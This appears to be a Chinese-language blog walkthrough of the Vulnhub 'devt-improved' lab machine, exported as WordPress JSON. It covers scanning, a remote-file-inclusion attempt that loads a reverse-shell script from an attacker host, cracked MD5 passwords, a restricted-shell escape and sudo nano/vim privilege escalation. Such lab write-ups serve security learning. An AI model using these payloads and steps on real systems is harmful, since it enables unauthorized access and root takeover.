{"id":448,"date":"2024-03-23T20:25:01","date_gmt":"2024-03-23T12:25:01","guid":{"rendered":"http:\/\/162.14.82.114\/?p=448"},"modified":"2024-03-23T20:28:07","modified_gmt":"2024-03-23T12:28:07","slug":"vulnhub-devt-improved","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/448\/03\/23\/2024\/","title":{"rendered":"Vulnhub–devt-improved"},"content":{"rendered":"

devt-improved<\/h1>\n

\"image-20240323183815219\"<\/div>
\n
\"image-20240323184903961\"<\/div>
\n
\"image-20240323184931919\"<\/div><\/p>\n

\u770b\u6765\u6ca1\u9519\u4e86<\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
rustscan -a 192.168.37.131 -- -A -sC -sV <\/code><\/pre>\n
Open 192.168.37.131:22\nOpen 192.168.37.131:113\nOpen 192.168.37.131:139\nOpen 192.168.37.131:445\nOpen 192.168.37.131:8080<\/code><\/pre>\n
PORT     STATE SERVICE     REASON  VERSION\n22\/tcp   open  ssh         syn-ack OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 79:07:2b:2c:2c:4e:14:0a:e7:b3:63:46:c6:b3:ad:16 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC\/0O8beKKMGvekLefDRWa\/MVhJwXr1B0PuQHDt8xlqKcpvdLCO6b0c+sfcemEq7m92V82fTy2BAvvkk9GZSQ+OrDfWzB1grIl6t9ndVBB++rz\/rZBwmZ\/VcSBLSwjRAnrHRiyCtunxDiWYwD2htq5FV2r4K38+YrWARqpapME\/K\/atz9Txxe4WwzihPB+910b0dG4JAn8hXG8VHZsJvo4qV0\/yEcSgwD9B4QV6XK3uxOnHviWUEJTOHU12LAz39KYj5Pir9BmSsfrbDgt4s06zR1RqviIF+GIJkbeWR5V5Mn9CazLuPmyrmybsFEfFMh5VeDJ33eCeGLhmHYoGEJ6p\n|   256 c2:b6:8c:36:a6:dd:9b:17:bb:4f:0e:0f:16:89:d6:4b (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ8C4BDQAOCp2TfWnvOmYyiiiYDe5ub2+NvCAkNWcXgavJtZUsBxXlTLhGWk2omUZtQCq4Tnb+BymEvKz8IKYXk=\n|   256 24:6b:85:e3:ab:90:5c:ec:d5:83:49:54:cd:98:31:95 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILvQyP65\/4gxE9tbpAIijwT4kwjUtquJDVqd3+iNB0pN\n113\/tcp  open  ident?      syn-ack\n|_auth-owners: oident\n139\/tcp  open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)\n|_auth-owners: root\n445\/tcp  open  netbios-ssn syn-ack Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)\n|_auth-owners: root\n8080\/tcp open  http-proxy  syn-ack IIS 6.0\n|_http-open-proxy: Proxy might be redirecting requests\n| http-methods: \n|_  Supported Methods: GET POST OPTIONS HEAD\n|_http-server-header: IIS 6.0\n|_http-title: DEVELOPMENT PORTAL. NOT FOR OUTSIDERS OR HACKERS!\n| fingerprint-strings: \n|   GetRequest: \n|     HTTP\/1.1 200 OK\n|     Date: Sat, 23 Mar 2024 10:50:55 GMT\n|     Server: IIS 6.0\n|     Last-Modified: Wed, 26 Dec 2018 01:55:41 GMT\n|     ETag: "230-57de32091ad69"\n|     Accept-Ranges: bytes\n|     Content-Length: 560\n|     Vary: Accept-Encoding\n|     Connection: close\n|     Content-Type: text\/html\n|     <html>\n|     <head><title>DEVELOPMENT PORTAL. NOT FOR OUTSIDERS OR HACKERS!<\/title>\n|     <\/head>\n|     <body>\n|     <p>Welcome to the Development Page.<\/p>\n|     <br\/>\n|     <p>There are many projects in this box. View some of these projects at html_pages.<\/p>\n|     <br\/>\n|     <p>WARNING! We are experimenting a host-based intrusion detection system. Report all false positives to patrick@goodtech.com.sg.<\/p>\n|     <br\/>\n|     <br\/>\n|     <br\/>\n|     <hr>\n|     <i>Powered by IIS 6.0<\/i>\n|     <\/body>\n|     <!-- Searching for development secret page... where could it be? -->\n|     <!-- Patrick, Head of Development-->\n|     <\/html>\n|   HTTPOptions: \n|     HTTP\/1.1 200 OK\n|     Date: Sat, 23 Mar 2024 10:50:55 GMT\n|     Server: IIS 6.0\n|     Allow: GET,POST,OPTIONS,HEAD\n|     Content-Length: 0\n|     Connection: close\n|     Content-Type: text\/html\n|   RTSPRequest: \n|     HTTP\/1.1 400 Bad Request\n|     Date: Sat, 23 Mar 2024 10:50:55 GMT\n|     Server: IIS 6.0\n|     Content-Length: 293\n|     Connection: close\n|     Content-Type: text\/html; charset=iso-8859-1\n|     <!DOCTYPE HTML PUBLIC "-\/\/IETF\/\/DTD HTML 2.0\/\/EN">\n|     <html><head>\n|     <title>400 Bad Request<\/title>\n|     <\/head><body>\n|     <h1>Bad Request<\/h1>\n|     <p>Your browser sent a request that this server could not understand.<br \/>\n|     <\/p>\n|     <hr>\n|     <address>IIS 6.0 Server at 192.168.37.131 Port 8080<\/address>\n|_    <\/body><\/html>\n1 service unrecognized despite returning data. If you know the service\/version, please submit the following fingerprint at https:\/\/nmap.org\/cgi-bin\/submit.cgi?new-service :\nSF-Port8080-TCP:V=7.94SVN%I=7%D=3\/23%Time=65FEB40E%P=x86_64-pc-linux-gnu%r\nSF:(GetRequest,330,"HTTP\/1\\.1\\x20200\\x20OK\\r\\nDate:\\x20Sat,\\x2023\\x20Mar\\x\nSF:202024\\x2010:50:55\\x20GMT\\r\\nServer:\\x20IIS\\x206\\.0\\r\\nLast-Modified:\\x\nSF:20Wed,\\x2026\\x20Dec\\x202018\\x2001:55:41\\x20GMT\\r\\nETag:\\x20\\"230-57de32\nSF:091ad69\\"\\r\\nAccept-Ranges:\\x20bytes\\r\\nContent-Length:\\x20560\\r\\nVary:\nSF:\\x20Accept-Encoding\\r\\nConnection:\\x20close\\r\\nContent-Type:\\x20text\/ht\nSF:ml\\r\\n\\r\\n<html>\\r\\n<head><title>DEVELOPMENT\\x20PORTAL\\.\\x20NOT\\x20FOR\\\nSF:x20OUTSIDERS\\x20OR\\x20HACKERS!<\/title>\\r\\n<\/head>\\r\\n<body>\\r\\n<p>Welco\nSF:me\\x20to\\x20the\\x20Development\\x20Page\\.<\/p>\\r\\n<br\/>\\r\\n<p>There\\x20ar\nSF:e\\x20many\\x20projects\\x20in\\x20this\\x20box\\.\\x20View\\x20some\\x20of\\x20t\nSF:hese\\x20projects\\x20at\\x20html_pages\\.<\/p>\\r\\n<br\/>\\r\\n<p>WARNING!\\x20W\nSF:e\\x20are\\x20experimenting\\x20a\\x20host-based\\x20intrusion\\x20detection\\\nSF:x20system\\.\\x20Report\\x20all\\x20false\\x20positives\\x20to\\x20patrick@goo\nSF:dtech\\.com\\.sg\\.<\/p>\\r\\n<br\/>\\r\\n<br\/>\\r\\n<br\/>\\r\\n<hr>\\r\\n<i>Powered\\x\nSF:20by\\x20IIS\\x206\\.0<\/i>\\r\\n<\/body>\\r\\n\\r\\n<!--\\x20Searching\\x20for\\x20d\nSF:evelopment\\x20secret\\x20page\\.\\.\\.\\x20where\\x20could\\x20it\\x20be\\?\\x20-\nSF:->\\r\\n\\r\\n<!--\\x20Patrick,\\x20Head\\x20of\\x20Development-->\\r\\n\\r\\n<\/htm\nSF:l>\\r\\n")%r(HTTPOptions,A6,"HTTP\/1\\.1\\x20200\\x20OK\\r\\nDate:\\x20Sat,\\x202\nSF:3\\x20Mar\\x202024\\x2010:50:55\\x20GMT\\r\\nServer:\\x20IIS\\x206\\.0\\r\\nAllow:\nSF:\\x20GET,POST,OPTIONS,HEAD\\r\\nContent-Length:\\x200\\r\\nConnection:\\x20clo\nSF:se\\r\\nContent-Type:\\x20text\/html\\r\\n\\r\\n")%r(RTSPRequest,1CC,"HTTP\/1\\.1\nSF:\\x20400\\x20Bad\\x20Request\\r\\nDate:\\x20Sat,\\x2023\\x20Mar\\x202024\\x2010:5\nSF:0:55\\x20GMT\\r\\nServer:\\x20IIS\\x206\\.0\\r\\nContent-Length:\\x20293\\r\\nConn\nSF:ection:\\x20close\\r\\nContent-Type:\\x20text\/html;\\x20charset=iso-8859-1\\r\nSF:\\n\\r\\n<!DOCTYPE\\x20HTML\\x20PUBLIC\\x20\\"-\/\/IETF\/\/DTD\\x20HTML\\x202\\.0\/\/EN\nSF:\\">\\n<html><head>\\n<title>400\\x20Bad\\x20Request<\/title>\\n<\/head><body>\\\nSF:n<h1>Bad\\x20Request<\/h1>\\n<p>Your\\x20browser\\x20sent\\x20a\\x20request\\x2\nSF:0that\\x20this\\x20server\\x20could\\x20not\\x20understand\\.<br\\x20\/>\\n<\/p>\\\nSF:n<hr>\\n<address>IIS\\x206\\.0\\x20Server\\x20at\\x20192\\.168\\.37\\.131\\x20Por\nSF:t\\x208080<\/address>\\n<\/body><\/html>\\n");\nService Info: Host: DEVELOPMENT; OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nHost script results:\n| smb-os-discovery: \n|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)\n|   Computer name: development\n|   NetBIOS computer name: DEVELOPMENT\\x00\n|   Domain name: \\x00\n|   FQDN: development\n|_  System time: 2024-03-23T10:52:25+00:00\n| p2p-conficker: \n|   Checking for Conficker.C or higher...\n|   Check 1 (port 33014\/tcp): CLEAN (Couldn't connect)\n|   Check 2 (port 62492\/tcp): CLEAN (Couldn't connect)\n|   Check 3 (port 23242\/udp): CLEAN (Failed to receive data)\n|   Check 4 (port 17670\/udp): CLEAN (Failed to receive data)\n|_  0\/4 checks are positive: Host is CLEAN or ports are blocked\n| nbstat: NetBIOS name: DEVELOPMENT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)\n| Names:\n|   DEVELOPMENT<00>      Flags: <unique><active>\n|   DEVELOPMENT<03>      Flags: <unique><active>\n|   DEVELOPMENT<20>      Flags: <unique><active>\n|   \\x01\\x02__MSBROWSE__\\x02<01>  Flags: <group><active>\n|   WORKGROUP<00>        Flags: <group><active>\n|   WORKGROUP<1d>        Flags: <unique><active>\n|   WORKGROUP<1e>        Flags: <group><active>\n| Statistics:\n|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00\n|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00\n|_  00:00:00:00:00:00:00:00:00:00:00:00:00:00\n| smb2-time: \n|   date: 2024-03-23T10:52:25\n|_  start_date: N\/A\n| smb2-security-mode: \n|   3:1:1: \n|_    Message signing enabled but not required\n| smb-security-mode: \n|   account_used: guest\n|   authentication_level: user\n|   challenge_response: supported\n|_  message_signing: disabled (dangerous, but default)\n|_clock-skew: mean: 0s, deviation: 0s, median: 0s<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u6ca1\u5f00 80 \u7aef\u53e3\uff0c\u4f46\u662f\u5f00\u4e86 8080 \u7aef\u53e3\uff0c\u5c1d\u8bd5\u626b\u63cf\u3002<\/p>\n
feroxbuster -u http:\/\/192.168.37.131:8080<\/code><\/pre>\n
403      GET       11l       32w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter\n404      GET        5l        4w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter\n301      GET        9l       28w      316c http:\/\/192.168.37.131:8080\/aspnet_client => http:\/\/192.168.37.131:8080\/aspnet_client\/\n200      GET        1l        5w       29c http:\/\/192.168.37.131:8080\/error\n200      GET       13l       23w      154c http:\/\/192.168.37.131:8080\/_vti_cnf\n200      GET       30l       99w      936c http:\/\/192.168.37.131:8080\/about\n200      GET       13l       23w      154c http:\/\/192.168.37.131:8080\/_vti_pvt\n200      GET       13l       23w      154c http:\/\/192.168.37.131:8080\/_vti_bin\n200      GET        9l       94w      576c http:\/\/192.168.37.131:8080\/development\n200      GET        6l       13w      144c http:\/\/192.168.37.131:8080\/root\n200      GET       21l       72w      560c http:\/\/192.168.37.131:8080\/\n[#>------------------] - 77s     3080\/60004   23m     found:9       errors:919    \n\ud83d\udea8 Caught ctrl+c \ud83d\udea8 saving scan state to ferox-http_192_168_37_131:8080-1711191937.state ...\n[#>------------------] - 77s     3080\/60004   23m     found:9       errors:919    \n[#>------------------] - 77s     2660\/30000   34\/s    http:\/\/192.168.37.131:8080\/ \n[####################] - 0s     30000\/30000   2727273\/s http:\/\/192.168.37.131:8080\/aspnet_client\/ => Directory listing\n[####################] - 5s     30000\/30000   6014\/s  http:\/\/192.168.37.131:8080\/aspnet_client\/system_web\/ => Directory listing\n[>-------------------] - 68s      399\/30000   6\/s     http:\/\/192.168.37.131:8080\/aspnet_client\/system_web\/4_0_30319\/    <\/code><\/pre>\n
\u4e0d\u77e5\u9053\u4e3a\u5565\uff0c\u4e00\u626b\u63cf\u7aef\u53e3\u5c31\u5168\u5173\u6389\u4e86\uff0c\u53ef\u80fd\u505a\u4e86\u9632\u62a4\u63aa\u65bd\uff0c\u91cd\u542f\u9776\u573a\u4e0d\u626b\u63cf\u4e86\u3002<\/p>\n
\u6f0f\u6d1e\u6316\u6398<\/h2>\n
SMB\u670d\u52a1\u63a2\u6d4b<\/h3>\n
smbmap -H 192.168.37.131<\/code><\/pre>\n
[*] Detected 1 hosts serving SMB\n[*] Established 1 SMB session(s)                                \n\n[+] IP: 192.168.37.131:445      Name: 192.168.37.131            Status: Authenticated\n        Disk                                                    Permissions     Comment\n        ----                                                    -----------     -------\n        print$                                                  NO ACCESS       Printer Drivers\n        access                                                  NO ACCESS\n        IPC$                                                    NO ACCESS       IPC Service (development server (Samba, Ubuntu))<\/code><\/pre>\n
\u6ca1\u6709\u6743\u9650\u3002<\/p>\n
\u67e5\u770b\u654f\u611f\u76ee\u5f55<\/h3>\n
\"image-20240323191344493\"<\/div><\/p>\n
\/\/ http:\/\/192.168.37.131:8080\/html_pages\n-rw-r--r-- 1 www-data www-data      285 Sep 26 17:46 about.html\n-rw-r--r-- 1 www-data www-data     1049 Sep 26 17:51 config.html\n-rw-r--r-- 1 www-data www-data      199 Jul 23 15:37 default.html\n-rw-r--r-- 1 www-data www-data     1086 Sep 28 09:22 development.html\n-rw-r--r-- 1 www-data www-data      446 Jun 14 01:37 downloads.html\n-rw-r--r-- 1 www-data www-data      285 Sep 26 17:53 error.html\n-rw-r--r-- 1 www-data www-data        0 Sep 28 09:23 html_pages\n-rw-r--r-- 1 www-data www-data      751 Sep 28 09:22 index.html\n-rw-r--r-- 1 www-data www-data      202 Sep 26 17:57 login.html\n-rw-r--r-- 1 www-data www-data      682 Jul 23 15:36 register.html\n-rw-r--r-- 1 www-data www-data       74 Jul 23 16:29 tryharder.html\n-rw-r--r-- 1 www-data www-data      186 Sep 26 17:58 uploads.html<\/code><\/pre>\n
\u4f9d\u6b21\u770b\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240323191516055\"<\/div><\/p>\n
\"image-20240323191654701\"<\/div><\/p>\n
\u8ffd\u8e2a\u6570\u636e\u6d41\u6587\u4ef6<\/h3>\n
\u6253\u5f00\u770b\u4e00\u4e0b\u90a3\u4e2a\u6570\u636e\u6d41\u6587\u4ef6\u3002<\/p>\n
\"image-20240323191853427\"<\/div>
\n
\"image-20240323192405539\"<\/div>
\n
\"image-20240323192513145\"<\/div>
\n
\"image-20240323192725808\"<\/div><\/p>\n
\u5b50\u76ee\u5f55\u7206\u7834<\/h3>\n
\u4e00\u4e2a\u4e00\u4e2a\u641c\u7d22\u592a\u6162\u4e86\uff0c\u518d\u626b\u4e00\u4e0b\u5427\uff0c\u628a\u7ebf\u7a0b\u8c03\u4f4e\u4e00\u70b9\u3002<\/p>\n
gobuster dir -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -u http:\/\/192.168.37.131:8080\/developmentsecretpage\/ -f -t 10 -x html,php,txt,zip,jpg,png<\/code><\/pre>\n
\"image-20240323193119139\"<\/div><\/p>\n
\u8fd8\u662f\u51fa\u73b0\u4e86\u8fd9\u79cd\u4e8b\u60c5\u3002\u3002\u3002\u3002<\/p>\n
\u518d\u8c03\u5c0f\u4e00\u70b9\uff1a<\/p>\n
gobuster dir -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -u http:\/\/192.168.37.131:8080\/developmentsecretpage\/  -t 5 -x html,php,txt,zip<\/code><\/pre>\n
\"image-20240323193409792\"<\/div><\/p>\n
\u770b\u6765\u786e\u5b9e\u4e0d\u662f\u901a\u8fc7\u626b\u63cf\u5f97\u5230\u4e1c\u897f\u7684\u3002\u3002\u3002\u3002<\/p>\n
\u56de\u5934\u627e\u529e\u6cd5\u7684\u65f6\u5019\u624d\u53d1\u73b0\u57288080\u7aef\u53e3\u5c31\u6697\u793a\u4e86\u53ef\u80fd\u542f\u52a8\u4e86HIDS<\/code>\u3002<\/p>\n
\n
HIDS\u5168\u79f0\u662fHost-based Intrusion Detection System\uff0c\u5373\u57fa\u4e8e\u4e3b\u673a\u578b\u5165\u4fb5\u68c0\u6d4b\u7cfb\u7edf\u3002\u4f5c\u4e3a\u8ba1\u7b97\u673a\u7cfb\u7edf\u7684\u76d1\u89c6\u5668\u548c\u5206\u6790\u5668\uff0c\u5b83\u5e76\u4e0d\u4f5c\u7528\u4e8e\u5916\u90e8\u63a5\u53e3\uff0c\u800c\u662f\u4e13\u6ce8\u4e8e\u7cfb\u7edf\u5185\u90e8\uff0c\u76d1\u89c6\u7cfb\u7edf\u5168\u90e8\u6216\u90e8\u5206\u7684\u52a8\u6001\u7684\u884c\u4e3a\u4ee5\u53ca\u6574\u4e2a\u8ba1\u7b97\u673a\u7cfb\u7edf\u7684\u72b6\u6001\u3002<\/p>\n<\/blockquote>\n
\"image-20240323193755317\"<\/div><\/p>\n
\u53d1\u73b0\u4e86\u4e00\u4e2a\u767b\u5f55\u754c\u9762\uff01<\/p>\n
\u5c1d\u8bd5\u5f31\u5bc6\u7801\u4ee5\u53ca\u4e07\u80fd\u5bc6\u7801\uff0c\u53d1\u73b0\u62a5\u9519\u4e86\uff1a<\/p>\n
\"image-20240323193921472\"<\/div><\/p>\n
\u67e5\u627e\u4e00\u4e0b\u8fd9\u4e2a\u62a5\u9519\u4fe1\u606f\uff1a<\/p>\n
\"image-20240323194231466\"<\/div>
\n
\"image-20240323194254823\"<\/div><\/p>\n
\u5c1d\u8bd5\u5b83\u7684payload:<\/p>\n
\/[path]\/slogin_lib.inc.php?slogin_path=[remote_txt_shell]\n\/[path]\/slog_users.txt<\/code><\/pre>\n
http:\/\/192.168.37.131:8080\/developmentsecretpage\/slogin_lib.inc.php?slogin_path=http:\/\/192.168.37.128:8888\/reverseShell.php<\/code><\/pre>\n
\"image-20240323194903982\"<\/div><\/p>\n
\u7b2c\u4e00\u4e2a\u5931\u8d25\u4e86\uff0c\u7ee7\u7eed\u5c1d\u8bd5\u3002<\/p>\n
http:\/\/192.168.37.131:8080\/developmentsecretpage\/slog_users.txt<\/code><\/pre>\n
admin, 3cb1d13bb83ffff2defe8d1443d3a0eb\nintern, 4a8a2b374f463b7aedbb44a066363b81\npatrick, 87e6d56ce79af90dbe07d387d3d0579e\nqiu, ee64497098d0926d198f54f6d5431f98<\/code><\/pre>\n
\u8fdb\u884c md5 \u89e3\u5bc6\uff1a<\/p>\n
admin       \nintern      12345678900987654321\npatrick     P@ssw0rd25\nqiu         qiu<\/code><\/pre>\n
\u5c1d\u8bd5ssh\u767b\u5f55\u3002<\/p>\n
ssh intern@192.168.37.131<\/code><\/pre>\n
\u51fa\u73b0\u4e86\u4ee5\u4e0b\u62a5\u9519\uff1a<\/p>\n
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\nIT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!\nSomeone could be eavesdropping on you right now (man-in-the-middle attack)!\nIt is also possible that a host key has just been changed.\nThe fingerprint for the ED25519 key sent by the remote host is\nSHA256:gCZ6+ixH4Qe19wr8iDYUTaofDOf16k4ccCQ68NZ08yM.\nPlease contact your system administrator.\nAdd correct host key in \/home\/kali\/.ssh\/known_hosts to get rid of this message.\nOffending ECDSA key in \/home\/kali\/.ssh\/known_hosts:33\n  remove with:\n  ssh-keygen -f '\/home\/kali\/.ssh\/known_hosts' -R '192.168.37.131'\nHost key for 192.168.37.131 has changed and you have requested strict checking.\nHost key verification failed.<\/code><\/pre>\n
\u662f\u56e0\u4e3a\u4e4b\u524d\u6709\u4e2a\u9776\u573a\u57df\u540d\u548c\u8fd9\u4e2a\u4e00\u6a21\u4e00\u6837\uff0c\u6240\u4ee5\u5b58\u4e0b\u6765\u4e86\uff0c\u4f7f\u7528\u547d\u4ee4ssh-keygen -f '\/home\/kali\/.ssh\/known_hosts' -R '192.168.37.131'<\/code>\u5220\u6389\u5c31\u884c\u4e86\u3002<\/p>\n
\"image-20240323201323393\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
\u6269\u5c55\u4e00\u4e0b<\/h3>\n
\u867d\u7136\u8fde\u63a5\u4e0a\u4e86\uff0c\u4f46\u662f\u662f\u4e00\u4e2a\u53d7\u9650\u7528\u6237\uff1a<\/p>\n
intern:~$ ?\ncd  clear  echo  exit  help  ll  lpath  ls<\/code><\/pre>\n
\u5c1d\u8bd5\u5207\u6362\uff0c\u770b\u770b\u80fd\u4e0d\u80fd\u6269\u5c55\u4e00\u4e0b\u3002<\/p>\n
intern:~$ echo os.system("\/bin\/bash")\nintern@development:~$ whoami;id\nintern\nuid=1002(intern) gid=1006(intern) groups=1006(intern)\nintern@development:~$ ls\naccess  local.txt  work.txt\nintern@development:~$ cat local.txt\nCongratulations on obtaining a user shell. :)\nintern@development:~$ cat work.txt\n1.      Tell Patrick that shoutbox is not working. We need to revert to the old method to update David about shoutbox. For new, we will use the old director's landing page.\n\n2.      Patrick's start of the third year in this company!\n\n3.      Attend the meeting to discuss if password policy should be relooked at.\nintern@development:~$ sudo -l\n[sudo] password for intern: \nSorry, user intern may not run sudo on development.<\/code><\/pre>\n
\u5207\u6362\u7528\u6237<\/h3>\n
intern@development:~$ su patrick\nPassword: \npatrick@development:\/home\/intern$ whoami\npatrick\npatrick@development:\/home\/intern$ id\nuid=1001(patrick) gid=1005(patrick) groups=1005(patrick),108(lxd)\npatrick@development:\/home\/intern$ sudo -l\nMatching Defaults entries for patrick on development:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin\n\nUser patrick may run the following commands on development:\n    (ALL) NOPASSWD: \/usr\/bin\/vim\n    (ALL) NOPASSWD: \/bin\/nano<\/code><\/pre>\n
vim\u63d0\u6743<\/h3>\n
https:\/\/gtfobins.github.io\/gtfobins\/vim\/<\/a><\/p>\n
\"image-20240323202013469\"<\/div>
\n
\"image-20240323202106017\"<\/div><\/p>\n
nano\u63d0\u6743<\/h3>\n
https:\/\/gtfobins.github.io\/gtfobins\/nano\/<\/a><\/p>\n
\"image-20240323202157480\"<\/div><\/p>\n
sudo nano\nctrl+r ctrl+x\nreset; sh 1>&0 2>&0<\/code><\/pre>\n
\"image-20240323202356523\"<\/div><\/p>\n","protected":false},"excerpt":{"rendered":"
devt-improved \u770b\u6765\u6ca1\u9519\u4e86 \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf rustscan -a 192.168.37.13 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24],"tags":[],"class_list":["post-448","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/448","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=448"}],"version-history":[{"count":2,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/448\/revisions"}],"predecessor-version":[{"id":451,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/448\/revisions\/451"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=448"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=448"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=448"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}